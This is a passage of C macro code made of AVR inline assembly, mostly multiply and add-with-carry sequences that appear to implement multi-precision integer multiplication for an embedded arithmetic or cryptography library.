\ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r24 \n\t" \ + \ + "sbiw r30, 38 \n\t" \ + "sbiw r28, 24 \n\t" \ + "sbiw r26, 14 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r21, y+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 